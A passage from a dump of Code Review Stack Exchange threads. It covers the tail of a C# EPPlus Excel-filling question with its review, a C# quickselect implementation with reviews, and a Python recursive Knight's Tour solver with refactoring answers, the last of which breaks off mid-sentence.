//Valor inserido para reiniciar os contadores de linha
Mapping.TDT_DNP3_Mapping.DNP3_DiscreteSignals = 0;
// Preenchimento da worksheet DNP3_DiscreteSignals
for (_dnp3Linecount = 0; _dnp3Linecount < Classification.DnpCount; ++_dnp3Linecount)
{
// Esta linha serve para identificar a linha de cada equipamento com protocolo DNP3
Classification.Dnp3 = _dnp3Linecount;
// Esta linha serve para fazer o mapeamento da linha e preencher o arquivo
Mapping.TDT_DNP3_Mapping.DNP3_DiscreteSignals = Classification.Dnp3;
}
//Valor inserido para reiniciar os contadores de linha
Mapping.TDT_DNP3_Mapping.DNP3_AnalogSignals = 0;
// Preenchimento da worksheet DNP3_AnalogSignals
for (_dnp3Linecount = 0; _dnp3Linecount < Classification.DnpCount; ++_dnp3Linecount)
{
// Esta linha serve para identificar a linha de cada equipamento com protocolo DNP3
Classification.Dnp3 = _dnp3Linecount;
// Esta linha serve para fazer o mapeamento da linha e preencher o arquivo
Mapping.TDT_DNP3_Mapping.DNP3_AnalogSignals = Classification.Dnp3;
}
}
_index++;
}
if (Classification.DnpCount != 0)
{
Dnp3.Save = true;
}
</code></pre>
<p>}</p>
<p>Sorry about, the long question. Please let me know if I can improve the question.</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T19:35:00.063",
"Id": "431644",
"Score": "1",
"body": "Samples of each of the `.csv` files and what the corresponding `.xlsx` file would look like, will make it easier to judge the efficiency of your approach."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T07:38:38.097",
"Id": "431682",
"Score": "2",
"body": "_I will shorten the code to be easier to review._ - on the contrary; the code is easier to review when it's complete so please update your question and add any parts you may have removed. Shortened code is off-topic. I will retract my close-vote when you can confirm that the code is unchanged."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T11:19:48.123",
"Id": "431718",
"Score": "0",
"body": "Actually the size of the text is limited. I shortened the code to fit here. There is another way to post show my code?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T12:11:20.220",
"Id": "431736",
"Score": "1",
"body": "On Code Review we have a character limit of ~64k"
}
] | [
{
"body": "<blockquote>\n<pre><code> int _headerCol = 0;\n</code></pre>\n</blockquote>\n\n<p>In C# the convention is to only use the underscore prefix <code>_variableName</code> on fields on objects, while local variables in methods are just named <code>variableName</code>. The idea of the underscore is to distinguish local variables from members, so having them on all variables makes them redundant. Many don't use the underscore at all.</p>\n\n<p>In general, you should be more careful about names:</p>\n\n<blockquote>\n <p><code>Dnp3.DNP3_RTUs</code></p>\n</blockquote>\n\n<p>This doesn't tell me much, and I doubt it will tell you anything when you have to revise you code in 3 years. And besides that, your naming style with a lot of <code>UPPERCASE</code> names and alternating use of abbreviated and very long names makes your code hard to read, and the overall impression is chaos and complexity - more than it actually is.</p>\n\n<p>Use descriptive and self explaining names for your objects, methods, properties and variables, and in C# the convention is to use <code>PascalCase</code> for object names (<code>MyClass</code>) and methods and properties, and <code>camelCase</code> for fields and local variables.</p>\n\n<hr>\n\n<p>Is seems that all the methods, properties and fields on your classes are static. That may be a design descision, but be aware that you can't use these classes in parallel. I would consider to define these classes non static so I'll have to instantiate them, when used. In my world static members are only for \"libraries\" of often used objects (like <code>System.Drawing.Colors</code>), class specific instance-invariant properties, minor helper functions and extensions - and factory methods for convenience. But others have other opinions about that.</p>\n\n<hr>\n\n<blockquote>\n<pre><code>public static int TotalLines\n{\n get\n {\n return _totalLines;\n }\n set\n {\n if (value == 1)\n {\n StreamReader _lineReader = new StreamReader(path: SddtRtu.Folder, encoding: Encoding.Default);//Inicializador da leitura de dados\n while (_lineReader.ReadLine() != null) { SddtRtu._totalLines++; }\n }\n }\n}\n</code></pre>\n</blockquote>\n\n<p>IMO the getters and setters of properties should be without heavy computation. Depending on the size of the file you try to read here, the above can result in unexpected slow behavior - seen from the client. I would let the client do the work instead or set the property elsewhere when initializing the object. </p>\n\n<p>Further: What if someone calls <code>TotalLines {get;}</code> before <code>TotalLines { set; } = 1</code> is called? You'll have to rethink this approach.</p>\n\n<hr>\n\n<blockquote>\n<pre><code>// It reads the rest of the file\npublic static bool Read\n{\n set\n {\n if (value == true)\n {\n SddtRtu._protDNP = new int[_totalLines];\n SddtRtu._protICCP = new int[_totalLines];\n SddtRtu._protMODBUS = new int[_totalLines];\n</code></pre>\n</blockquote>\n\n<p>As above you do a lot in the setter of a property. This should not be a property a all but a method. And properties without a getter is very rare. I don't think I've ever created on, and I don't see it justified here either.</p>\n\n<hr>\n\n<blockquote>\n<pre><code> StreamReader _headerReader = new StreamReader(path: SddtRtu.Folder, encoding: Encoding.Default);\n // It reads the first line and identify the name of each header\n var _header = _headerReader.ReadLine().Split(',');\n foreach (string _content in _header)\n {\n switch (_header[_headerCol])\n</code></pre>\n</blockquote>\n\n<p>Here you split the header string into <code>_headers</code> and define an index variable <code>_headerCol</code> and then you use a <code>foreach</code> loop on the <code>_header</code> with <code>_content</code> representing each string in <code>_header</code>. You're here mixing two <code>for</code>-styles.</p>\n\n<p>Either you should do:</p>\n\n<pre><code>foreach (string content in _header)\n{\n switch (content)\n ...\n</code></pre>\n\n<p>or</p>\n\n<pre><code>for (int headerCol = 0; headerCol < _header.Length; headerCol++)\n{\n switch (_header[headerCol])\n ...\n</code></pre>\n\n<p>and again: <code>_header</code> is the name of an array of headers, so call i <code>headers</code>.</p>\n\n<hr>\n\n<blockquote>\n <p><code>StreamReader _reader = new StreamReader(path: SddtRtu.Folder, encoding: Encoding.Default);</code></p>\n</blockquote>\n\n<p>In general you should clean up objects that implement <code>IDisposable</code> in order to release their resources - especially unmanaged resources, so wrap them in <code>using</code> statements:</p>\n\n<pre><code>using (StreamReader _reader = new StreamReader(path: SddtRtu.Folder, encoding: Encoding.Default))\n{\n ...\n}\n</code></pre>\n\n<hr>\n\n<blockquote>\n<pre><code> StreamReader _reader = new StreamReader(path: SddtRtu.Folder, encoding: Encoding.Default);\n _reader.ReadLine();// Reads the header (first line) before reading the data\n\n _dnpLine = 0;\n _iccpLine = 0;\n _104Line = 0;\n _modLine = 0;\n _lineNum = 1;\n\n while (!_reader.EndOfStream)\n {\n var line = _reader.ReadLine();\n</code></pre>\n</blockquote>\n\n<p>Instead of using <code>reader.EndOfStream</code> it is more concise to do:</p>\n\n<pre><code>string line;\n\nwhile ((line = reader.ReadLine()) != null)\n{\n ...\n}\n</code></pre>\n\n<hr>\n\n<blockquote>\n<pre><code> line = line + 5; //The row starts on 5 because of the headers above\n</code></pre>\n</blockquote>\n\n<p>You repeatedly use <code>5</code> as a magic number. That calls for a named constant field instead of using the literal in place:</p>\n\n<pre><code>private const int rowStart = 5;\n\n\nline = line + rowStart;\n</code></pre>\n\n<hr>\n\n<blockquote>\n<pre><code>public static string IDOBJ_ALIAS(int line, string data)\n{\n line = line + 5;\n _worksheet1.Cells[line, _idobj_aliasCol].Value = data;\n _worksheet1.Cells[line, _idobj_aliasCol].Style.Font.Size = 11;\n _worksheet1.Cells[line, _idobj_aliasCol].Style.Font.Name = \"Calibri\";\n return _worksheet1.Cells[line, _idobj_aliasCol].Value.ToString();\n}\n</code></pre>\n</blockquote>\n\n<p>You have a lot of almost identical methods like the above. You should make one method, that takes the variables as input:</p>\n\n<pre><code>private static string SetCells(int line, int column, string data)\n{\n line = line + rowStart;\n _worksheet1.Cells[line, column].Value = data;\n _worksheet1.Cells[line, column].Style.Font.Size = 11;\n _worksheet1.Cells[line, column].Style.Font.Name = \"Calibri\";\n return _worksheet1.Cells[line, column].Value.ToString();\n}\n</code></pre>\n\n<p>and then call that from your public api. </p>\n\n<p>And here you also use the same font size and name a lot of times, so create a field or a property for them. It is much more readable and maintainable. </p>\n\n<hr>\n\n<p>So all in all your code appears more complex than it really is. You can clean it up and make it more readable and maintainable only by paying a little more attention to naming and avoiding repetitive code (DRY principle). </p>\n\n<p>That said, being able to test your code would probably reveal a lot more to be changed, but this is as far as I can go for now?</p>\n\n<hr>\n\n<p>When it comes to performance, I'm unable to give any advise from the provided code. But using OfficeOpenXml is normally a better choice than COM - performancewise. </p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-27T06:22:52.057",
"Id": "223044",
"ParentId": "222888",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T19:17:39.330",
"Id": "222888",
"Score": "0",
"Tags": [
"c#",
"excel",
"csv"
],
"Title": "Excel table filling with EPPlus"
} | 222888 |
<p>I tried to implement
<a href="https://en.wikipedia.org/wiki/Quickselect" rel="nofollow noreferrer">https://en.wikipedia.org/wiki/Quickselect</a></p>
<blockquote>
<p>quickselect is a selection algorithm to find the <em>k</em>-th smallest element
in an unordered list.</p>
<p>this is the Pseudo code I was following</p>
<p>In quicksort, there is a subprocedure called partition that can, in
linear time, group a list (ranging from indices left to right) into
two parts: those less than a certain element, and those greater than
or equal to the element. Here is pseudocode that performs a partition
about the element <code>list[pivotIndex]</code>:</p>
<pre><code>function partition(list, left, right, pivotIndex)
pivotValue := list[pivotIndex]
swap list[pivotIndex] and list[right] // Move pivot to end
storeIndex := left
for i from left to right-1
if list[i] < pivotValue
swap list[storeIndex] and list[i]
increment storeIndex
swap list[right] and list[storeIndex] // Move pivot to its final place
return storeIndex
</code></pre>
<p>This is known as the Lomuto partition scheme, which is simpler but
less efficient than Hoare's original partition scheme.</p>
<p>In quicksort, we recursively sort both branches, leading to best-case
O(n log n) time. However, when doing selection, we already know which
partition our desired element lies in, since the pivot is in its final
sorted position, with all those preceding it in an unsorted order and
all those following it in an unsorted order. Therefore, a single
recursive call locates the desired element in the correct partition,
and we build upon this for quickselect:</p>
<pre><code> // Returns the k-th smallest element of list within left..right inclusive
// (i.e. left <= k <= right).
// The search space within the array is changing for each round - but the list
// is still the same size. Thus, k does not need to be updated with each round.
function select(list, left, right, k)
if left = right // If the list contains only one element,
return list[left] // return that element
pivotIndex := ... // select a pivotIndex between left and right,
// e.g., left + floor(rand() % (right - left + 1))
pivotIndex := partition(list, left, right, pivotIndex)
// The pivot is in its final sorted position
if k = pivotIndex
return list[k]
else if k < pivotIndex
return select(list, left, pivotIndex - 1, k)
else
return select(list, pivotIndex + 1, right, k)
</code></pre>
</blockquote>
<p>Please review the coding style and clarity</p>
<pre><code>using System;
using Microsoft.VisualStudio.TestTools.UnitTesting;
namespace ArrayQuestions
{
[TestClass]
public class QuickSelect
{
[TestMethod]
public void QuickSelectAlgoTest()
{
int[] arr = {9, 8, 7, 6, 5, 0, 1, 2, 3, 4};
int[] res = Select(arr, 6);
for (int i = 0; i < 6; i++)
{
Assert.IsTrue(res[i] <= 6, $"The res[i] {res[i]} was not greater than six");
}
}
//Partially sort array such way that elements before index position n are smaller or equal than element at position n
//And elements after n are larger or equal.
public int[] Select(int[] input,int n)
{
//keep original array
int[] partiallySortedArray = (int[])input.Clone();
int startIndex = 0;
var endIndex = input.Length - 1;
var pivotIndex = n;
Random r = new Random();
while (endIndex > startIndex)
{
pivotIndex = QuickSelectPartition(partiallySortedArray, startIndex, endIndex, pivotIndex);
if (pivotIndex == n)
{
break;
}
if (pivotIndex > n)
{
endIndex = pivotIndex - 1;
}
else
{
startIndex = pivotIndex + 1;
}
pivotIndex = r.Next(startIndex, endIndex);
}
return partiallySortedArray;
}
private int QuickSelectPartition(int[] array, int startIndex, int endIndex, int pivotIndex)
{
int pivotValue = array[pivotIndex];
Swap(ref array[pivotIndex], ref array[endIndex]);
for (int i = startIndex; i < endIndex; i++)
{
if (array[i].CompareTo(pivotValue) > 0)
{
continue;
}
Swap(ref array[i], ref array[startIndex]);
startIndex++;
}
Swap(ref array[endIndex], ref array[startIndex]);
return startIndex;
}
private void Swap(ref int i, ref int i1)
{
int temp = i;
i = i1;
i1 = temp;
}
}
}
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T19:26:02.267",
"Id": "431643",
"Score": "0",
"body": "@dfhwze this is like explaining what bubble sort is... I will edit, but Wiki link is the best description."
}
] | [
{
"body": "<p>You are using an iterative approach which is normally faster than a recursive. That's a good optimization.</p>\n\n<hr>\n\n<blockquote>\n<pre><code> if (array[i].CompareTo(pivotValue) > 0)\n {\n continue;\n }\n Swap(ref array[i], ref array[startIndex]);\n startIndex++;\n</code></pre>\n</blockquote>\n\n<p>Why not just:</p>\n\n<pre><code> if (array[i].CompareTo(pivotValue) < 0)\n {\n Swap(ref array[i], ref array[startIndex]);\n startIndex++;\n }\n</code></pre>\n\n<hr>\n\n<blockquote>\n<pre><code> pivotIndex = r.Next(startIndex, endIndex);\n</code></pre>\n</blockquote>\n\n<p>The wiki is doing so but I don't see why instead of just taking the middle:</p>\n\n<pre><code>pivotIndex = startIndex + (endIndex - startIndex) / 2;\n</code></pre>\n\n<p>You could measure on a larger data set to see if there is any average difference in performance?</p>\n\n<hr>\n\n<blockquote>\n <p><code>$\"The res[i] {res[i]} was not greater than six\"</code></p>\n</blockquote>\n\n<p>Strictly speaking: you are not finding values lesser than <code>6</code> but the six smallest values in the data set. (<code>n</code> or <code>k</code> is an index not a value)</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T13:18:38.707",
"Id": "431746",
"Score": "1",
"body": "I think you are right."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T05:56:13.650",
"Id": "222904",
"ParentId": "222889",
"Score": "4"
}
},
{
"body": "<p>Separate code and test. It's great that you've written a unit test, but the test code should be in a separate class (and typically a separate project) from the code under test.</p>\n\n<p>The testing could also be a bit more exhaustive. Given the same input you can test each value of <code>n</code>: it'll still run in milliseconds. A separate test could handle repeated elements. A third test could handle the extreme of repeated elements: if you have an array of length one million where every element is the same and you give <code>n = arr.Length / 2</code>, does the performance take a nose-dive? I suspect it does, and that's something you might want to address with a Dutch flag partition. Other corner cases would be <code>n = -1</code> or <code>n = arr.Length</code>: at present, I don't think either of those is particularly well handled.</p>\n\n<hr>\n\n<p><code>Select</code> as a name makes sense in context, but when you think about embedding it in a large project or library it isn't very specific. Naming things is hard: my best suggestion after two minutes' thought is <code>PartitionAroundMedian</code>.</p>\n\n<hr>\n\n<p><code>pivotIndex</code> is doing double duty. I think it would be clearer to separate out those duties; since I'm received a comment that this point was unclear, the first step in refactoring this would be</p>\n\n<pre><code> var pivotIndexIn = n;\n Random r = new Random();\n while (endIndex > startIndex)\n {\n var pivotIndexOut = QuickSelectPartition(partiallySortedArray, startIndex, endIndex, pivotIndexIn);\n if (pivotIndexOut == n)\n {\n break;\n }\n if (pivotIndexOut > n)\n {\n endIndex = pivotIndexOut - 1;\n }\n else\n {\n startIndex = pivotIndexOut + 1;\n }\n\n pivotIndexIn = r.Next(startIndex, endIndex);\n }\n</code></pre>\n\n<p>In fact, <code>QuickSelectPartition</code> doesn't strictly need to receive <code>pivotIndexIn</code> as an argument at all. If the reason for passing it in is to have a clear lifecycle of <code>r</code>, pass <code>r</code> instead.</p>\n\n<p>Note that the scope of <code>pivotIndexOut</code> is narrowed to inside the loop body.</p>\n\n<p>Since I'm talking about names: <code>r</code> is awful. My convention for instances of <code>Random</code> is to call them <code>rnd</code>; others might prefer <code>random</code> or <code>rng</code> (for <em>random number generator</em>).</p>\n\n<hr>\n\n<p>I find it inconsistent to use the primitive type <code>int</code> for the array elements but <code>CompareTo</code> instead of the primitive <code>></code> to compare them. Since it costs nothing, I would change the first: genericise the quick-select to operate on <code>T where T : IComparable<T></code>.</p>\n\n<hr>\n\n<p>The decision that <code>Select</code> does not modify its input can be reflected in the type signature by changing it from array to <code>IReadOnlyList<></code> (or perhaps <code>IEnumerable<></code> - see below). Similarly the return type could be <code>IList<></code> or <code>IReadOnlyList<></code> to indicate the expectation the method has of its user. (Personally I'd favour <code>IList<></code>).</p>\n\n<hr>\n\n<p><code>Select</code>, <code>QuickSelectPartition</code>, and <code>Swap</code> don't use any instance members of the class, so you need a good reason <em>not</em> to make them all <code>static</code>. In fact, I'd be strongly tempted to make <code>Select</code> an extension method <code>public static IList<T> PartitionAroundMedian<T>(this IEnumerable<T> elements, int n) where T : IComparable<T></code>.</p>\n\n<hr>\n\n<blockquote>\n<pre><code> for (int i = startIndex; i < endIndex; i++)\n {\n if (array[i].CompareTo(pivotValue) > 0)\n {\n continue;\n }\n Swap(ref array[i], ref array[startIndex]);\n startIndex++;\n }\n</code></pre>\n</blockquote>\n\n<p>There are times when a quick-reject and <code>continue</code> makes for readable code. I don't think this is one of them.</p>\n\n<pre><code> for (int i = startIndex; i < endIndex; i++)\n {\n if (array[i].CompareTo(pivotValue) <= 0)\n {\n Swap(ref array[i], ref array[startIndex]);\n startIndex++;\n }\n }\n</code></pre>\n\n<p>is shorter and doesn't require mental effort to invert the condition.</p>\n\n<hr>\n\n<blockquote>\n<pre><code> while (endIndex > startIndex)\n {\n pivotIndex = QuickSelectPartition(partiallySortedArray, startIndex, endIndex, pivotIndex);\n if (pivotIndex == n)\n {\n break;\n }\n ...\n }\n\n return partiallySortedArray;\n</code></pre>\n</blockquote>\n\n<p>I'd cut to the chase by putting the <code>return</code> where the <code>break</code> is.</p>\n\n<hr>\n\n<p>Minor quibbles on whitespace: there's inconsistency over whether <code>,</code> in an argument list is followed by a space or not. And I'd prefer to put a blank line after every <code>}</code> unless the following line is another <code>}</code> or directly related to it (e.g. the <code>else</code> is directly related to the <code>if</code> block).</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T09:39:39.993",
"Id": "431701",
"Score": "0",
"body": "Could you be more specific about _pivotIndex is doing double duty_, I don't see that? `if (array[i].CompareTo(pivotValue) <= 0)`: Isn't it rather the original `>` that should be `>=`"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T10:21:54.540",
"Id": "431708",
"Score": "1",
"body": "@HenrikHansen, I've expanded on that first point. On the second, I was making an observation about readability rather than correctness. I haven't actually analysed for correctness: I just preserved the existing behaviour. Perhaps you could find a test case which the original code fails and add it to your answer?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T11:57:21.287",
"Id": "431732",
"Score": "0",
"body": "OK, that is a very orthodox definition of double duty IMO :-). About the `>` vs `<=` - I were just referring to the wiki pseudo code."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T09:08:49.640",
"Id": "222912",
"ParentId": "222889",
"Score": "5"
}
}
] | {
"AcceptedAnswerId": "222912",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T19:19:12.350",
"Id": "222889",
"Score": "2",
"Tags": [
"c#",
"sorting"
],
"Title": "Quick Select C#"
} | 222889 |
<p>Below is my recursive solution for the <a href="https://en.m.wikipedia.org/wiki/Knight%27s_tour" rel="nofollow noreferrer">Knights Tour</a>. The user can set the board size and the program will print the <strong>first</strong> legal knight's tour it finds. </p>
<p>As there are potentially millions of correct solutions to the knight's tour, only one solution is given.</p>
<pre><code>def legal_moves(visited, position, sq):
"""Calculate legal moves"""
legal_moves = [
(-2, -1),
(-2, 1),
(-1, -2),
(-1, 2),
(1, -2),
(1, 2),
(2, -1),
(2, 1),
]
row = position // sq
col = position % sq
move_to = []
for dx, dy in legal_moves:
if 0 <= (row + dx) < sq and 0 <= (col + dy) < sq:
new_position = (position + (sq * dx)) + dy
if new_position not in visited and 0 <= new_position < (sq * sq):
move_to.append(new_position)
return move_to
def make_move(move_to, visited, current, route, sq):
"""Carry out the move"""
for move in move_to:
visited.add(current)
new_route = route + f"{current}-"
solution_found = next_move(visited, move, new_route, sq)
visited.remove(current)
if solution_found:
return True
return False
def next_move(visited, current, route, sq):
"""Find the next valid moves and instruct "make_move" to carry them out"""
if len(visited) == (sq * sq) - 1:
route += f"{current}"
print(route)
return True
move_to = legal_moves(visited, current, sq)
solution_found = make_move(move_to, visited, current, route, sq)
if solution_found:
return True
def start_tour(sq):
"""Calculate the knights tour for grid sq*sq starting at all positions in range 0-sq"""
for starting in range(sq * sq):
visited = set()
route = ""
solution_found = next_move(visited, starting, route, sq)
if solution_found:
return
print("No knights tour could be calculated")
if __name__ == "__main__":
square_size = 8
start_tour(square_size)
</code></pre>
<p><strong>EDIT</strong>
I have added a <code>print_route</code> function which is called from inside <code>next_move</code> in place of the current <code>print</code> statement as follows:
<code>print_route(route, sq)</code></p>
<pre><code>def print_route(route, size):
"""Convert the 1D array into a 2D array tracking the movement on the knight"""
import numpy as np
steps = route.split("-")
array = np.zeros(size * size)
for index, item in enumerate(steps):
array[int(item)] = index + 1
array = array.reshape(size, size)
print(array)
</code></pre>
| [] | [
{
"body": "<p><strong>Starting position</strong></p>\n\n<p>If there is a route to be found, it will go through cell 0 and will be found at first iteration of <code>start_tour</code>. We can remove the loop and just have <code>starting = 0</code>.</p>\n\n<p><strong>Generating legal moves</strong></p>\n\n<p>Various details can be improved in the <code>legal_moves</code> function.</p>\n\n<p>This is a good occasion to use a generator with the keyword <code>yield</code>.</p>\n\n<p>We could compute <code>row</code> and <code>col</code> with a single call to <code>divmod</code>.</p>\n\n<p>We could make computation of new position more straight-forward with intermediates variables for coordinates on each axis.</p>\n\n<p>Because of the way <code>new_position</code> is computed, there is no need for the additional boundary check.</p>\n\n<p>We'd get something like:</p>\n\n<pre><code>def generate_new_positions(visited, position, sq):\n \"\"\"Yield legal moves\"\"\"\n generate_new_positions = [\n (-2, -1),\n (-2, 1),\n (-1, -2),\n (-1, 2),\n (1, -2),\n (1, 2),\n (2, -1),\n (2, 1),\n ]\n # position = row * sq + col\n row, col = divmod(position, sq)\n\n for dx, dy in generate_new_positions:\n x, y = row + dx, col + dy\n if 0 <= x < sq and 0 <= y < sq:\n new_pos = x * sq + y\n if new_pos not in visited:\n yield new_pos\n\n</code></pre>\n\n<p><strong>Separation of concerns: printing vs returning a result</strong></p>\n\n<p>When a result is found, it is printed and a boolean (or None) is returned in the different functions. It would be easier to return either None or the result found and to have that result printed from a single point of the logic.</p>\n\n<p>We'd have something like:</p>\n\n<pre><code>def make_move(move_to, visited, current, route, sq):\n \"\"\"Carry out the move\"\"\"\n for move in move_to:\n visited.add(current)\n new_route = route + str(current) + \"-\"\n solution_found = next_move(visited, move, new_route, sq)\n visited.remove(current)\n if solution_found:\n return solution_found\n return None\n\n\ndef next_move(visited, current, route, sq):\n \"\"\"Find the next valid moves and instruct \"make_move\" to carry them out\"\"\"\n if len(visited) == (sq * sq) - 1:\n route += str(current)\n return route\n move_to = generate_new_positions(visited, current, sq)\n return make_move(move_to, visited, current, route, sq)\n\n\ndef start_tour(sq):\n \"\"\"Calculate the knights tour for grid sq*sq starting at all positions in range 0-sq\"\"\"\n starting = 0\n visited = set()\n route = \"\"\n return next_move(visited, starting, route, sq)\n\n\nif __name__ == \"__main__\":\n for square_size in 3, 5, 6:\n ret = start_tour(square_size)\n print(\"No knights tour could be calculated\" if ret is None else ret)\n\n</code></pre>\n\n<p>Also, formatting the string could be done in a single place as well. We could use lists for instance in all the logic.</p>\n\n<pre><code>def make_move(move_to, visited, current, route, sq):\n \"\"\"Carry out the move\"\"\"\n for move in move_to:\n visited.add(current)\n new_route = route + [current]\n solution = next_move(visited, move, new_route, sq)\n visited.remove(current)\n if solution:\n return solution\n return None\n\n\ndef next_move(visited, current, route, sq):\n \"\"\"Find the next valid moves and instruct \"make_move\" to carry them out\"\"\"\n if len(visited) == (sq * sq) - 1:\n return route + [current]\n move_to = generate_new_positions(visited, current, sq)\n return make_move(move_to, visited, current, route, sq)\n\ndef start_tour(sq):\n \"\"\"Calculate the knights tour for grid sq*sq starting at all positions in range 0-sq\"\"\"\n starting = 0\n visited = set()\n route = []\n return next_move(visited, starting, route, sq)\n\n\nif __name__ == \"__main__\":\n for square_size in 3, 5, 6:\n ret = start_tour(square_size)\n print(\"No knights tour could be calculated\" if ret is None else \"-\".join((str(e) for e in ret)))\n</code></pre>\n\n<p><strong>Reducing the duplicated information</strong></p>\n\n<p>We're maintaining a <code>visited</code> set and a <code>route</code> list: both containing roughtly the same data. Maybe we could recompute <code>visited</code> from the <code>route</code> when we need it.</p>\n\n<pre><code>def make_move(move_to, current, route, sq):\n \"\"\"Carry out the move\"\"\"\n for move in move_to:\n solution = next_move(move, route + [current], sq)\n if solution:\n return solution\n return None\n\ndef next_move(current, route, sq):\n \"\"\"Find the next valid moves and instruct \"make_move\" to carry them out\"\"\"\n if len(route) == (sq * sq) - 1:\n return route + [current]\n move_to = generate_new_positions(set(route), current, sq)\n return make_move(move_to, current, route, sq)\n\ndef start_tour(sq):\n \"\"\"Calculate the knights tour for grid sq*sq starting at all positions in range 0-sq\"\"\"\n return next_move(0, [], sq)\n</code></pre>\n\n<p><strong>Simplifying the logic</strong></p>\n\n<p>Having a function A calling a function B itself calling B can make things hard to understand properly because both A and B are hard to understand independently.</p>\n\n<p>Here, we could get rid of <code>make_move</code> by integrating directly in <code>next_move</code>:</p>\n\n<pre><code>def next_move(current, route, sq):\n \"\"\"Find the next valid moves and carry them out\"\"\"\n if len(route) == (sq * sq) - 1:\n return route + [current]\n for move in generate_new_positions(set(route), current, sq):\n solution = next_move(move, route + [current], sq)\n if solution:\n return solution\n return None\n</code></pre>\n\n<p><strong>More simplification</strong></p>\n\n<p>In <code>next_move</code>, <code>route</code> is almost always used in the expression <code>route + [current]</code>. We could directly define this at the beginning of the function:</p>\n\n<pre><code>def next_move(current, route, sq):\n \"\"\"Find the next valid moves and carry them out\"\"\"\n new_route = route + [current]\n if len(new_route) == (sq * sq):\n return new_route\n for move in generate_new_positions(set(new_route), current, sq):\n solution = next_move(move, new_route, sq)\n if solution:\n return solution\n return None\n</code></pre>\n\n<p>More importantly, it leads to the question: why do we provide a route AND an element to add to it instead of just having that element in the list.</p>\n\n<pre><code>def next_move(current, route, sq):\n \"\"\"Find the next valid moves and carry them out\"\"\"\n if len(route) == (sq * sq):\n return route\n for move in generate_new_positions(set(route), current, sq):\n solution = next_move(move, route + [move], sq)\n if solution:\n return solution\n return None\n\ndef start_tour(sq):\n \"\"\"Calculate the knights tour for grid sq*sq starting at all positions in range 0-sq\"\"\"\n start = 0\n return next_move(start, [start], sq)\n</code></pre>\n\n<p>Going further, we do not really the <code>current</code> argument anymore as we can compute it from <code>route</code>.</p>\n\n<pre><code>def next_move(route, sq):\n \"\"\"Find the next valid moves and carry them out\"\"\"\n if len(route) == (sq * sq):\n return route\n current = route[-1]\n new_pos = generate_new_positions(set(route), current, sq)\n for move in new_pos:\n solution = next_move(route + [move], sq)\n if solution:\n return solution\n return None\n\ndef start_tour(sq):\n \"\"\"Calculate the knights tour for grid sq*sq starting at all positions in range 0-sq\"\"\"\n start = 0\n return next_move([start], sq)\n\n</code></pre>\n\n<p><strong>Final code</strong></p>\n\n<pre><code>def generate_new_positions(visited, position, sq):\n \"\"\"Yield legal moves\"\"\"\n generate_new_positions = [\n (-2, -1),\n (-2, 1),\n (-1, -2),\n (-1, 2),\n (1, -2),\n (1, 2),\n (2, -1),\n (2, 1),\n ]\n # position = row * sq + col\n row, col = divmod(position, sq)\n\n for dx, dy in generate_new_positions:\n x, y = row + dx, col + dy\n if 0 <= x < sq and 0 <= y < sq:\n new_pos = x * sq + y\n if new_pos not in visited:\n yield new_pos\n\n\ndef next_move(route, sq):\n \"\"\"Find the next valid moves and carry them out\"\"\"\n if len(route) == (sq * sq):\n return route\n current = route[-1]\n new_pos = generate_new_positions(set(route), current, sq)\n for move in new_pos:\n solution = next_move(route + [move], sq)\n if solution:\n return solution\n return None\n\n\nif __name__ == \"__main__\":\n for square_size in 3, 5, 6:\n ret = next_move([0], square_size)\n print(\"No knights tour could be calculated\" if ret is None else \"-\".join((str(e) for e in ret)))\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T22:09:39.943",
"Id": "431653",
"Score": "0",
"body": "Amazing thank you. It does make a lot of sense to use visited and route for the same purpose. I'm not sure why I didn't do this in the first place. I really like the way you return the function. It makes a lot more sense to me than returning the result of a function. Thanks"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T21:49:34.213",
"Id": "222895",
"ParentId": "222893",
"Score": "3"
}
},
{
"body": "<h2>Precomputed Moves</h2>\n\n<p>You are computing a lot of integer quotients and remainders. (@Josay's solution as well). You can reduce the amount of work done during the solving of the Knight's Tour by pre-computing the positions which can be reached from each square:</p>\n\n<pre><code>legal_moves = (-2, -1), (-2, 1), (-1, -2), (-1, 2), (1, -2), (1, 2), (2, -1), (2, 1)\nmoves = [ [ (r+dr) * cols + (c+dc) for dr, dc in legal_moves\n if 0 <= r+dr < rows and 0 <= c+dc < cols ]\n for r in range(rows) for c in range(cols) ]\n</code></pre>\n\n<p>I've used <code>rows</code> and <code>cols</code> here, to generalize from a square board to an NxM board. After this point, the logic doesn't change.</p>\n\n<p>Now <code>moves[0]</code> is a list of all (both) positions that can be reached from square #0, <code>moves[1]</code> is a list of the 3 positions that can be reached from square #1, and so on. Note that you never need to deal with the dimension of the board again. No integer division or modulo remainders; just use the square's index number.</p>\n\n<h2>Visited</h2>\n\n<p>Your <code>visited</code> set is a nice way, to keep track of whether or not a position has been visited or not. In <span class=\"math-container\">\\$O(1)\\$</span> time, you can tell if you've reached a visited location or not. @Josay's suggestion of using <code>set(route)</code> to recompute the set of visited locations removes the need for maintaining a separate global <code>set()</code> structure, but the cost is recreating the <code>set(route)</code> each move. This is at least <span 